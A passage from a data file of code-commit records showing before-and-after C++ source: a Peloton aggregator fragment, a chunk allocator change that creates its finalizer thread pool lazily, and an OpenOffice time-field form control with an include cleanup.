tuple\n\n  return true;\n}\n\n\/\/===--------------------------------------------------------------------===\/\/\n\/\/ Specialization of an aggregator that expects the input table to be\n\/\/ sorted on the group by key.\n\/\/===--------------------------------------------------------------------===\/\/\ntemplate<>\nAggregator<PlanNodeType::PLAN_NODE_TYPE_AGGREGATE>::Aggregator(\n    const planner::AggregateV2Node *node, storage::DataTable *output_table,\n    executor::ExecutorContext* econtext)\n    : node(node),\n      output_table(output_table),\n      executor_context(econtext) {\n\n  group_by_columns = node->GetGroupbyColIds();\n\n\/\/ Create aggregators and initialize\n  aggregate_terms = node->GetUniqueAggTerms();\n  aggregates = new Agg *[aggregate_terms.size()];\n  ::memset(aggregates, 0, sizeof(Agg *) * aggregate_terms.size());\n}\n\ntemplate<>\nAggregator<PlanNodeType::PLAN_NODE_TYPE_AGGREGATE>::~Aggregator() {\n\/\/ Clean up aggregators\n  for (oid_t column_itr = 0; column_itr < aggregate_terms.size();\n      column_itr++) {\n    delete aggregates[column_itr];\n  }\n  delete[] aggregates;\n}\n\ntemplate<>\nbool Aggregator<PlanNodeType::PLAN_NODE_TYPE_AGGREGATE>::Advance(\n    AbstractTuple *cur_tuple, AbstractTuple *prev_tuple,\n    size_t __attribute__((unused))) {\n  bool start_new_agg = false;\n\n\/\/ Check if we are starting a new aggregate tuple\n  if (prev_tuple == nullptr) {\n    LOG_INFO(\"Prev tuple is nullptr!\");\n    start_new_agg = true;\n  } else {\n    \/\/ Compare group by columns\n    for (oid_t column_itr = 0; column_itr < group_by_columns.size();\n        column_itr++) {\n      Value lval = cur_tuple->GetValue(group_by_columns[column_itr]);\n      Value rval = prev_tuple->GetValue(group_by_columns[column_itr]);\n      bool not_equal = lval.OpNotEquals(rval).IsTrue();\n\n      if (not_equal) {\n        LOG_INFO(\"Group-by columns changed.\");\n        start_new_agg = true;\n        break;\n      }\n    }\n  }\n\n\/\/ If we have started a new aggregate tuple\n  if (start_new_agg) {\n    LOG_INFO(\"Started a new group!\");\n\n    if (Helper(node, aggregates, output_table, prev_tuple,\n               this->executor_context) ==\n    false) {\n      return false;\n    }\n\n    \/\/ Create aggregate\n    for (oid_t column_itr = 0; column_itr < aggregate_terms.size();\n        column_itr++) {\n      \/\/ Clean up previous aggregate\n      delete aggregates[column_itr];\n      aggregates[column_itr] = GetAggInstance(\n          aggregate_terms[column_itr].first);\n    }\n  }\n\n\/\/ Update the aggregation calculation\n  for (oid_t column_itr = 0; column_itr < aggregate_terms.size();\n      column_itr++) {\n    Value value = aggregate_terms[column_itr].second->Evaluate(\n        cur_tuple, nullptr, this->executor_context);\n    aggregates[column_itr]->Advance(value);\n  }\n\n  return true;\n}\n\ntemplate<>\nbool Aggregator<PlanNodeType::PLAN_NODE_TYPE_AGGREGATE>::Finalize(\n    AbstractTuple *prev_tuple) {\n  if (Helper(node, aggregates, output_table, prev_tuple,\n             this->executor_context) ==\n             false) {\n    return false;\n  }\n\n\/\/ TODO: if no record exists in input_table, we have to output a null record\n\/\/ only when it doesn't have GROUP BY. See difference of these cases:\n\/\/   SELECT SUM(A) FROM BBB ,   when BBB has no tuple\n\/\/   SELECT SUM(A) FROM BBB GROUP BY C,   when BBB has no tuple\n\n  return true;\n}\n\n}  \/\/ namespace executor\n}  \/\/ namespace peloton\n<|endoftext|>"}
{"text":"<commit_before>#include \"chunk_allocator.h\"\n#include \"chunk.h\"\n\n#include <gflags\/gflags.h>\n\nDECLARE_int32(threads);\n\nbool chunk_allocator::finalizer::operator()(chunk *chunk) {\n    if (!chunk)\n        return true;\n    chunk->finalize();\n    return false;\n}\n\nchunk_allocator::chunk_allocator()  :\n    current_(0), finalizer_() {\n    new_chunk();\n    finalize_pool_ = new thread_pool<chunk*, finalizer>(FLAGS_threads, finalizer_);\n}\n\nunsigned char *chunk_allocator::alloc(size_t len) {\n    assert(len < kChunkSpace);\n    if ((current_->size + len) > kChunkSpace)\n        new_chunk();\n    unsigned char *out = current_->data + current_->size;\n    current_->size += len;\n    return out;\n}\n\nstatic chunk *alloc_chunk() {\n    void *p;\n    if (posix_memalign(&p, kChunkSize, kChunkSize) != 0)\n        return NULL;\n    return new(p) chunk;\n};\n\nvoid chunk_allocator::new_chunk()  {\n    if (current_)\n        finalize_pool_->queue(current_);\n    current_ = alloc_chunk();\n    chunks_.push_back(current_);\n}\n\nvoid chunk_allocator::finalize()  {\n    finalize_pool_->queue(current_);\n    for (int i = 0; i < FLAGS_threads; i++)\n        finalize_pool_->queue(NULL);\n    delete finalize_pool_;\n    finalize_pool_ = NULL;\n}\n\nvoid chunk_allocator::skip_chunk() {\n    current_ = 0;\n    new_chunk();\n}\n<commit_msg>Don't leave around finalizer threads when loading the index.<commit_after>#include \"chunk_allocator.h\"\n#include \"chunk.h\"\n\n#include <gflags\/gflags.h>\n\nDECLARE_int32(threads);\n\nbool chunk_allocator::finalizer::operator()(chunk *chunk) {\n    if (!chunk)\n        return true;\n    chunk->finalize();\n    return false;\n}\n\nchunk_allocator::chunk_allocator()  :\n    current_(0), finalizer_(), finalize_pool_(0) {\n    new_chunk();\n}\n\nunsigned char *chunk_allocator::alloc(size_t len) {\n    assert(len < kChunkSpace);\n    if ((current_->size + len) > kChunkSpace)\n        new_chunk();\n    unsigned char *out = current_->data + current_->size;\n    current_->size += len;\n    return out;\n}\n\nstatic chunk *alloc_chunk() {\n    void *p;\n    if (posix_memalign(&p, kChunkSize, kChunkSize) != 0)\n        return NULL;\n    return new(p) chunk;\n};\n\nvoid chunk_allocator::new_chunk()  {\n    if (current_) {\n        if (!finalize_pool_) {\n            finalize_pool_ = new thread_pool<chunk*, finalizer>(FLAGS_threads, finalizer_);\n        }\n        finalize_pool_->queue(current_);\n    }\n    current_ = alloc_chunk();\n    chunks_.push_back(current_);\n}\n\nvoid chunk_allocator::finalize()  {\n    if (!finalize_pool_)\n        return;\n    finalize_pool_->queue(current_);\n    for (int i = 0; i < FLAGS_threads; i++)\n        finalize_pool_->queue(NULL);\n    delete finalize_pool_;\n    finalize_pool_ = NULL;\n}\n\nvoid chunk_allocator::skip_chunk() {\n    current_ = 0;\n    new_chunk();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: Time.cxx,v $\n *\n *  $Revision: 1.18 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 22:47:01 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _FORMS_TIME_HXX_\n#include \"Time.hxx\"\n#endif\n\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef _TOOLS_TIME_HXX\n#include <tools\/time.hxx>\n#endif\n#ifndef _COMPHELPER_DATETIME_HXX_\n#include <comphelper\/datetime.hxx>\n#endif\n#ifndef _DBHELPER_DBCONVERSION_HXX_\n#include <connectivity\/dbconversion.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_SDBC_DATATYPE_HPP_\n#include <com\/sun\/star\/sdbc\/DataType.hpp>\n#endif\n\nusing namespace dbtools;\n\n\/\/.........................................................................\nnamespace frm\n{\n\/\/.........................................................................\n\nusing namespace ::com::sun::star;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::sdb;\nusing namespace ::com::sun::star::sdbc;\nusing namespace ::com::sun::star::sdbcx;\nusing namespace ::com::sun::star::beans;\nusing namespace ::com::sun::star::container;\nusing namespace ::com::sun::star::form;\nusing namespace ::com::sun::star::util;\nusing namespace ::com::sun::star::awt;\nusing namespace ::com::sun::star::io;\nusing namespace ::com::sun::star::lang;\n\n\/\/==================================================================\n\/\/=\n\/\/==================================================================\n\n\/\/==================================================================\n\/\/= OTimeControl\n\/\/==================================================================\n\/\/------------------------------------------------------------------\nOTimeControl::OTimeControl(const Reference<XMultiServiceFactory>& _rxFactory)\n               :OBoundControl(_rxFactory, VCL_CONTROL_TIMEFIELD)\n{\n}\n\n\/\/------------------------------------------------------------------\nInterfaceRef SAL_CALL OTimeControl_CreateInstance(const Reference<XMultiServiceFactory>& _rxFactory)\n{\n    return *(new OTimeControl(_rxFactory));\n}\n\n\/\/------------------------------------------------------------------------------\nSequence<Type> OTimeControl::_getTypes()\n{\n    return OBoundControl::_getTypes();\n}\n\n\/\/------------------------------------------------------------------------------\nStringSequence SAL_CALL OTimeControl::getSupportedServiceNames() throw()\n{\n    StringSequence aSupported = OBoundControl::getSupportedServiceNames();\n    aSupported.realloc(aSupported.getLength() + 1);\n\n    ::rtl::OUString*pArray = aSupported.getArray();\n    pArray[aSupported.getLength()-1] = FRM_SUN_CONTROL_TIMEFIELD;\n    return aSupported;\n}\n\n\/\/==================================================================\n\/\/= OTimeModel\n\/\/==================================================================\n\/\/------------------------------------------------------------------\nInterfaceRef SAL_CALL OTimeModel_CreateInstance(const Reference<XMultiServiceFactory>& _rxFactory)\n{\n    return *(new OTimeModel(_rxFactory));\n}\n\n\/\/ XServiceInfo\n\/\/------------------------------------------------------------------------------\nStringSequence SAL_CALL OTimeModel::getSupportedServiceNames() throw()\n{\n    StringSequence aSupported = OBoundControlModel::getSupportedServiceNames();\n\n    sal_Int32 nOldLen = aSupported.getLength();\n    aSupported.realloc( nOldLen + 8 );\n    ::rtl::OUString* pStoreTo = aSupported.getArray() + nOldLen;\n\n    *pStoreTo++ = BINDABLE_CONTROL_MODEL;\n    *pStoreTo++ = DATA_AWARE_CONTROL_MODEL;\n    *pStoreTo++ = VALIDATABLE_CONTROL_MODEL;\n\n    *pStoreTo++ = BINDABLE_DATA_AWARE_CONTROL_MODEL;\n    *pStoreTo++ = VALIDATABLE_BINDABLE_CONTROL_MODEL;\n\n    *pStoreTo++ = FRM_SUN_COMPONENT_TIMEFIELD;\n    *pStoreTo++ = FRM_SUN_COMPONENT_DATABASE_TIMEFIELD;\n    *pStoreTo++ = BINDABLE_DATABASE_TIME_FIELD;\n\n    return aSupported;\n}\n\n\/\/------------------------------------------------------------------------------\nSequence<Type> OTimeModel::_getTypes()\n{\n    return OBoundControlModel::_getTypes();\n}\n\n\/\/------------------------------------------------------------------\nDBG_NAME( OTimeModel )\n\/\/------------------------------------------------------------------\nOTimeModel::OTimeModel(const Reference<XMultiServiceFactory>& _rxFactory)\n            :OEditBaseModel( _rxFactory, VCL_CONTROLMODEL_TIMEFIELD, FRM_SUN_CONTROL_TIMEFIELD, sal_True, sal_True )\n                                    \/\/ use the old control name for compytibility reasons\n            ,OLimitedFormats(_rxFactory, FormComponentType::TIMEFIELD)\n{\n    DBG_CTOR( OTimeModel, NULL );\n\n    m_nClassId = FormComponentType::TIMEFIELD;\n    initValueProperty( PROPERTY_TIME, PROPERTY_ID_TIME );\n\n    setAggregateSet(m_xAggregateFastSet, getOriginalHandle(PROPERTY_ID_TIMEFORMAT));\n}\n\n\/\/------------------------------------------------------------------------------\nOTimeModel::OTimeModel( const OTimeModel* _pOriginal, const Reference<XMultiServiceFactory>& _rxFactory )\n    :OEditBaseModel( _pOriginal, _rxFactory )\n    ,OLimitedFormats( _rxFactory, FormComponentType::TIMEFIELD )\n{\n    DBG_CTOR( OTimeModel, NULL );\n\n    setAggregateSet( m_xAggregateFastSet, getOriginalHandle( PROPERTY_ID_TIMEFORMAT ) );\n}\n\n\/\/------------------------------------------------------------------------------\nOTimeModel::~OTimeModel( )\n{\n    setAggregateSet(Reference< XFastPropertySet >(), -1);\n    DBG_DTOR( OTimeModel, NULL );\n}\n\n\/\/ XCloneable\n\/\/------------------------------------------------------------------------------\nIMPLEMENT_DEFAULT_CLONING( OTimeModel )\n\n\/\/------------------------------------------------------------------------------\n::rtl::OUString SAL_CALL OTimeModel::getServiceName() throw ( ::com::sun::star::uno::RuntimeException)\n{\n    return FRM_COMPONENT_TIMEFIELD; \/\/ old (non-sun) name for compatibility !\n}\n\n\/\/ XPropertySet\n\/\/------------------------------------------------------------------------------\nReference<XPropertySetInfo> SAL_CALL OTimeModel::getPropertySetInfo() throw( RuntimeException )\n{\n    Reference<XPropertySetInfo>  xInfo( createPropertySetInfo( getInfoHelper() ) );\n    return xInfo;\n}\n\n\/\/------------------------------------------------------------------------------\nvoid OTimeModel::fillProperties(\n        Sequence< Property >& _rProps,\n        Sequence< Property >& _rAggregateProps ) const\n{\n    BEGIN_DESCRIBE_PROPERTIES( 4, OEditBaseModel )\n        DECL_PROP3(DEFAULT_TIME,            sal_Int32,              BOUND, MAYBEDEFAULT, MAYBEVOID);\n        DECL_PROP1(TABINDEX,                sal_Int16,              BOUND);\n        DECL_PROP1(FORMATKEY,               sal_Int32,              TRANSIENT);\n        DECL_IFACE_PROP2(FORMATSSUPPLIER,   XNumberFormatsSupplier, READONLY, TRANSIENT);\n    END_DESCRIBE_PROPERTIES();\n}\n\n\/\/------------------------------------------------------------------------------\n::cppu::IPropertyArrayHelper& OTimeModel::getInfoHelper()\n{\n    return *const_cast<OTimeModel*>(this)->getArrayHelper();\n}\n\n\/\/------------------------------------------------------------------------------\nvoid SAL_CALL OTimeModel::getFastPropertyValue(Any& _rValue, sal_Int32 _nHandle ) const\n{\n    switch (_nHandle)\n    {\n        case PROPERTY_ID_FORMATKEY:\n            getFormatKeyPropertyValue(_rValue);\n            break;\n        case PROPERTY_ID_FORMATSSUPPLIER:\n            _rValue <<= getFormatsSupplier();\n            break;\n        default:\n            OEditBaseModel::getFastPropertyValue(_rValue, _nHandle);\n            break;\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nsal_Bool SAL_CALL OTimeModel::convertFastPropertyValue(Any& _rConvertedValue, Any& _rOldValue,\n        sal_Int32 _nHandle, const Any& _rValue ) throw(IllegalArgumentException)\n{\n    if (PROPERTY_ID_FORMATKEY == _nHandle)\n        return convertFormatKeyPropertyValue(_rConvertedValue, _rOldValue, _rValue);\n    else\n        return OEditBaseModel::convertFastPropertyValue(_rConvertedValue, _rOldValue, _nHandle, _rValue );\n}\n\n\/\/------------------------------------------------------------------------------\nvoid SAL_CALL OTimeModel::setFastPropertyValue_NoBroadcast(sal_Int32 _nHandle, const Any& _rValue) throw ( ::com::sun::star::uno::Exception)\n{\n    if (PROPERTY_ID_FORMATKEY == _nHandle)\n        setFormatKeyPropertyValue(_rValue);\n    else\n        OEditBaseModel::setFastPropertyValue_NoBroadcast(_nHandle, _rValue);\n}\n\n\/\/ XLoadListener\n\/\/------------------------------------------------------------------------------\nvoid OTimeModel::onConnectedDbColumn( const Reference< XInterface >& _rxForm )\n{\n    OBoundControlModel::onConnectedDbColumn( _rxForm );\n    Reference<XPropertySet> xField = getField();\n    if (xField.is())\n    {\n        m_bDateTimeField = sal_False;\n        try\n        {\n            sal_Int32 nFieldType;\n            xField->getPropertyValue(PROPERTY_FIELDTYPE) >>= nFieldType;\n            m_bDateTimeField = (nFieldType == DataType::TIMESTAMP);\n        }\n        catch(Exception&)\n        {\n        }\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nsal_Bool OTimeModel::commitControlValueToDbColumn( bool _bPostReset )\n{\n    Any aControlValue( m_xAggregateFastSet->getFastPropertyValue( getValuePropertyAggHandle() ) );\n    if ( !compare( aControlValue, m_aSaveValue ) )\n    {\n        if ( !aControlValue.hasValue() )\n            m_xColumnUpdate->updateNull();\n        else\n        {\n            try\n            {\n                util::Time aTime;\n                if ( !( aControlValue >>= aTime ) )\n                {\n                    sal_Int32 nAsInt(0);\n                    aControlValue >>= nAsInt;\n                    aTime = DBTypeConversion::toTime(nAsInt);\n                }\n\n                if (!m_bDateTimeField)\n                    m_xColumnUpdate->updateTime(aTime);\n                else\n                {\n                    starutil::DateTime aDateTime = m_xColumn->getTimestamp();\n                    aDateTime.HundredthSeconds = aTime.HundredthSeconds;\n                    aDateTime.Seconds = aTime.Seconds;\n                    aDateTime.Minutes = aTime.Minutes;\n                    aDateTime.Hours = aTime.Hours;\n                    m_xColumnUpdate->updateTimestamp(aDateTime);\n                }\n            }\n            catch(Exception&)\n            {\n                return sal_False;\n            }\n        }\n        m_aSaveValue = aControlValue;\n    }\n    return sal_True;\n}\n\n\/\/------------------------------------------------------------------------------\nAny OTimeModel::translateControlValueToExternalValue( ) const\n{\n    Any aExternalValue( getControlValue() );\n    if ( aExternalValue.hasValue() )\n    {\n        sal_Int32 nTime = 0;\n        OSL_VERIFY( aExternalValue >>= nTime );\n        if ( nTime == ::Time( 99, 99, 99 ).GetTime() )\n            \/\/ \"invalid time\" in VCL is different from \"invalid time\" in UNO\n            aExternalValue <<= util::Time( -1, -1, -1, -1 );\n        else\n            aExternalValue <<= DBTypeConversion::toTime( nTime );\n    }\n    return aExternalValue;\n}\n\n\/\/------------------------------------------------------------------------------\nAny OTimeModel::translateExternalValueToControlValue( ) const\n{\n    OSL_PRECOND( hasExternalValueBinding(),\n        \"OTimeModel::translateExternalValueToControlValue: precondition not met!\" );\n\n    Any aControlValue;\n    if ( hasExternalValueBinding() )\n    {\n        Any aExternalValue = getExternalValueBinding()->getValue( ::getCppuType( static_cast< util::Time* >( NULL ) ) );\n        if ( aExternalValue.hasValue() )\n        {\n            util::Time aTime;\n            OSL_VERIFY( aExternalValue >>= aTime );\n            aControlValue <<= DBTypeConversion::toINT32( aTime );\n        }\n    }\n    return aControlValue;\n}\n\n\/\/------------------------------------------------------------------------------\nAny OTimeModel::translateDbColumnToControlValue()\n{\n    util::Time aTime = m_xColumn->getTime();\n    if ( m_xColumn->wasNull() )\n        m_aSaveValue.clear();\n    else\n        \/\/ the aggregated set expects an Int32 as value ...\n        m_aSaveValue <<= DBTypeConversion::toINT32( aTime );\n\n    return m_aSaveValue;\n}\n\n\/\/------------------------------------------------------------------------------\nAny OTimeModel::getDefaultForReset() const\n{\n    Any aValue;\n    if  (m_aDefault.getValueType().getTypeClass() == TypeClass_LONG)\n        aValue = m_aDefault;\n    else\n    {   \/\/ aktuelles Datum einstellen\n        ::Time aCurrentTime;\n        aValue <<= (sal_Int32)aCurrentTime.GetTime();\n    }\n\n    return aValue;\n}\n\n\/\/------------------------------------------------------------------------------\nsal_Bool OTimeModel::approveValueBinding( const Reference< binding::XValueBinding >& _rxBinding )\n{\n    OSL_PRECOND( _rxBinding.is(), \"OTimeModel::approveValueBinding: invalid binding!\" );\n\n    return  _rxBinding.is()\n        &&  _rxBinding->supportsType( ::getCppuType( static_cast< util::Time* >( NULL ) ) );\n}\n\n\/\/.........................................................................\n}   \/\/ namespace frm\n\/\/.........................................................................\n\n<commit_msg>INTEGRATION: CWS pbrwuno (1.18.14); FILE MERGED 2005\/10\/17 12:20:15 fs 1.18.14.1: removed some obsolete includes<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: Time.cxx,v $\n *\n *  $Revision: 1.19 $\n *\n *  last change: $Author: vg $ $Date: 2006-03-14 10:58:43 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _FORMS_TIME_HXX_\n#include \"Time.hxx\"\n#endif\n\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef _TOOLS_TIME_HXX\n#include <tools\/time.hxx>\n#endif\n#ifndef _DBHELPER_DBCONVERSION_HXX_\n#include <connectivity\/dbconversion.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_SDBC_DATATYPE_HPP_\n#include <com\/sun\/star\/sdbc\/DataType.hpp>\n#endif\n\nusing namespace dbtools;\n\n\/\/.........................................................................\nnamespace frm\n{\n\/\/.........................................................................\n\nusing namespace ::com::sun::star;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::sdb;\nusing namespace ::com::sun::star::sdbc;\nusing namespace ::com::sun::star::sdbcx;\nusing namespace ::com::sun::star::beans;\nusing namespace ::com::sun::star::container;\nusing namespace ::com::sun::star::form;\nusing namespace ::com::sun::star::util;\nusing namespace ::com::sun::star::awt;\nusing namespace ::com::sun::star::io;\nusing namespace ::com::sun::star::lang;\n\n\/\/==================================================================\n\/\/=\n\/\/==================================================================\n\n\/\/==================================================================\n\/\/= OTimeControl\n\/\/==================================================================\n\/\/------------------------------------------------------------------\nOTimeControl::OTimeControl(const Reference<XMultiServiceFactory>& _rxFactory)\n               :OBoundControl(_rxFactory, VCL_CONTROL_TIMEFIELD)\n{\n}\n\n\/\/------------------------------------------------------------------\nInterfaceRef SAL_CALL OTimeControl_CreateInstance(const Reference<XMultiServiceFactory>& _rxFactory)\n{\n    return *(new OTimeControl(_rxFactory));\n}\n\n\/\/------------------------------------------------------------------------------\nSequence<Type> OTimeControl::_getTypes()\n{\n    return OBoundControl::_getTypes();\n}\n\n\/\/------------------------------------------------------------------------------\nStringSequence SAL_CALL OTimeControl::getSupportedServiceNames() throw()\n{\n    StringSequence aSupported = OBoundControl::getSupportedServiceNames();\n    aSupported.realloc(aSupported.getLength() + 1);\n\n    ::rtl::OUString*pArray = aSupported.getArray();\n    pArray[aSupported.getLength()-1] = FRM_SUN_CONTROL_TIMEFIELD;\n    return aSupported;\n}\n\n\/\/==================================================================\n\/\/= OTimeModel\n\/\/==================================================================\n\/\/------------------------------------------------------------------\nInterfaceRef SAL_CALL OTimeModel_CreateInstance(const Reference<XMultiServiceFactory>& _rxFactory)\n{\n    return *(new OTimeModel(_rxFactory));\n}\n\n\/\/ XServiceInfo\n\/\/------------------------------------------------------------------------------\nStringSequence SAL_CALL OTimeModel::getSupportedServiceNames() throw()\n{\n    StringSequence aSupported = OBoundControlModel::getSupportedServiceNames();\n\n    sal_Int32 nOldLen = aSupported.getLength();\n    aSupported.realloc( nOldLen + 8 );\n    ::rtl::OUString* pStoreTo = aSupported.getArray() + nOldLen;\n\n    *pStoreTo++ = BINDABLE_CONTROL_MODEL;\n    *pStoreTo++ = DATA_AWARE_CONTROL_MODEL;\n    *pStoreTo++ = VALIDATABLE_CONTROL_MODEL;\n\n    *pStoreTo++ = BINDABLE_DATA_AWARE_CONTROL_MODEL;\n    *pStoreTo++ = VALIDATABLE_BINDABLE_CONTROL_MODEL;\n\n    *pStoreTo++ = FRM_SUN_COMPONENT_TIMEFIELD;\n    *pStoreTo++ = FRM_SUN_COMPONENT_DATABASE_TIMEFIELD;\n    *pStoreTo++ = BINDABLE_DATABASE_TIME_FIELD;\n\n    return aSupported;\n}\n\n\/\/------------------------------------------------------------------------------\nSequence<Type> OTimeModel::_getTypes()\n{\n    return OBoundControlModel::_getTypes();\n}\n\n\/\/------------------------------------------------------------------\nDBG_NAME( OTimeModel )\n\/\/------------------------------------------------------------------\nOTimeModel::OTimeModel(const Reference<XMultiServiceFactory>& _rxFactory)\n            :OEditBaseModel( _rxFactory, VCL_CONTROLMODEL_TIMEFIELD, FRM_SUN_CONTROL_TIMEFIELD, sal_True, sal_True )\n                                    \/\/ use the old control name for compytibility reasons\n            ,OLimitedFormats(_rxFactory, FormComponentType::TIMEFIELD)\n{\n    DBG_CTOR( OTimeModel, NULL );\n\n    m_nClassId = FormComponentType::TIMEFIELD;\n    initValueProperty( PROPERTY_TIME, PROPERTY_ID_TIME );\n\n    setAggregateSet(m_xAggregateFastSet, getOriginalHandle(PROPERTY_ID_TIMEFORMAT));\n}\n\n\/\/------------------------------------------------------------------------------\nOTimeModel::OTimeModel( const OTimeModel* _pOriginal, const Reference<XMultiServiceFactory>& _rxFactory )\n    :OEditBaseModel( _pOriginal, _rxFactory )\n    ,OLimitedFormats( _rxFactory, FormComponentType::TIMEFIELD )\n{\n    DBG_CTOR( OTimeModel, NULL );\n\n    setAggregateSet( m_xAggregateFastSet, getOriginalHandle( PROPERTY_ID_TIMEFORMAT ) );\n}\n\n\/\/------------------------------------------------------------------------------\nOTimeModel::~OTimeModel( )\n{\n    setAggregateSet(Reference< XFastPropertySet >(), -1);\n    DBG_DTOR( OTimeModel, NULL );\n}\n\n\/\/ XCloneable\n\/\/------------------------------------------------------------------------------\nIMPLEMENT_DEFAULT_CLONING( OTimeModel )\n\n\/\/------------------------------------------------------------------------------\n::rtl::OUString SAL_CALL OTimeModel::getServiceName() throw ( ::com::sun::star::uno::RuntimeException)\n{\n    return FRM_COMPONENT_TIMEFIELD; \/\/ old (non-sun) name for compatibility !\n}\n\n\/\/ XPropertySet\n\/\/------------------------------------------------------------------------------\nReference<XPropertySetInfo> SAL_CALL OTimeModel::getPropertySetInfo() throw( RuntimeException )\n{\n    Reference<XPropertySetInfo>  xInfo( createPropertySetInfo( getInfoHelper() ) );\n    return xInfo;\n}\n\n\/\/------------------------------------------------------------------------------\nvoid OTimeModel::fillProperties(\n        Sequence< Property >& _rProps,\n        Sequence< Property >& _rAggregateProps ) const\n{\n    BEGIN_DESCRIBE_PROPERTIES( 4, OEditBaseModel )\n        DECL_PROP3(DEFAULT_TIME,            sal_Int32,              BOUND, MAYBEDEFAULT, MAYBEVOID);\n        DECL_PROP1(TABINDEX,                sal_Int16,              BOUND);\n        DECL_PROP1(FORMATKEY,               sal_Int32,              TRANSIENT);\n        DECL_IFACE_PROP2(FORMATSSUPPLIER,   XNumberFormatsSupplier, READONLY, TRANSIENT);\n    END_DESCRIBE_PROPERTIES();\n}\n\n\/\/------------------------------------------------------------------------------\n::cppu::IPropertyArrayHelper& OTimeModel::getInfoHelper()\n{\n    return *const_cast<OTimeModel*>(this)->getArrayHelper();\n}\n\n\/\/------------------------------------------------------------------------------\nvoid SAL_CALL OTimeModel::getFastPropertyValue(Any& _rValue, sal_Int32 _nHandle ) const\n{\n    switch (_nHandle)\n    {\n        case PROPERTY_ID_FORMATKEY:\n            getFormatKeyPropertyValue(_rValue);\n            break;\n        case PROPERTY_ID_FORMATSSUPPLIER:\n            _rValue <<= getFormatsSupplier();\n            break;\n        default:\n            OEditBaseModel::getFastPropertyValue(_rValue, _nHandle);\n            break;\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nsal_Bool SAL_CALL OTimeModel::convertFastPropertyValue(Any& _rConvertedValue, Any& _rOldValue,\n        sal_Int32 _nHandle, const Any& _rValue ) throw(IllegalArgumentException)\n{\n    if (PROPERTY_ID_FORMATKEY == _nHandle)\n        return convertFormatKeyPropertyValue(_rConvertedValue, _rOldValue, _rValue);\n    else\n        return OEditBaseModel::convertFastPropertyValue(_rConvertedValue, _rOldValue, _nHandle, _rValue );\n}\n\n\/\/------------------------------------------------------------------------------\nvoid SAL_CALL OTimeModel::setFastPropertyValue_NoBroadcast(sal_Int32 _nHandle, const Any& _rValue) throw ( ::com::sun::star::uno::Exception)\n{\n    if (PROPERTY_ID_FORMATKEY == _nHandle)\n        setFormatKeyPropertyValue(_rValue);\n    else\n        OEditBaseModel::setFastPropertyValue_NoBroadcast(_nHandle, _rValue);\n}\n\n\/\/ XLoadListener\n\/\/------------------------------------------------------------------------------\nvoid OTimeModel::onConnectedDbColumn( const Reference< XInterface >& _rxForm )\n{\n    OBoundControlModel::onConnectedDbColumn( _rxForm );\n    Reference<XPropertySet> xField = getField();\n    if (xField.is())\n    {\n        m_bDateTimeField = sal_False;\n        try\n        {\n            sal_Int32 nFieldType;\n            xField->getPropertyValue(PROPERTY_FIELDTYPE) >>= nFieldType;\n            m_bDateTimeField = (nFieldType == DataType::TIMESTAMP);\n        }\n        catch(Exception&)\n        {\n        }\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nsal_Bool OTimeModel::commitControlValueToDbColumn( bool _bPostReset )\n{\n    Any aControlValue( m_xAggregateFastSet->getFastPropertyValue( getValuePropertyAggHandle() ) );\n    if ( !compare( aControlValue, m_aSaveValue ) )\n    {\n        if ( !aControlValue.hasValue() )\n            m_xColumnUpdate->updateNull();\n        else\n        {\n            try\n            {\n                util::Time aTime;\n                if ( !( aControlValue >>= aTime ) )\n                {\n                    sal_Int32 nAsInt(0);\n                    aControlValue >>= nAsInt;\n                    aTime = DBTypeConversion::toTime(nAsInt);\n                }\n\n                if (!m_bDateTimeField)\n                    m_xColumnUpdate->updateTime(aTime);\n                else\n                {\n                    util::DateTime aDateTime = m_xColumn->getTimestamp();\n                    aDateTime.HundredthSeconds = aTime.HundredthSeconds;\n                    aDateTime.Seconds = aTime.Seconds;\n                    aDateTime.Minutes = aTime.Minutes;\n                    aDateTime.Hours = aTime.Hours;\n                    m_xColumnUpdate->updateTimestamp(aDateTime);\n         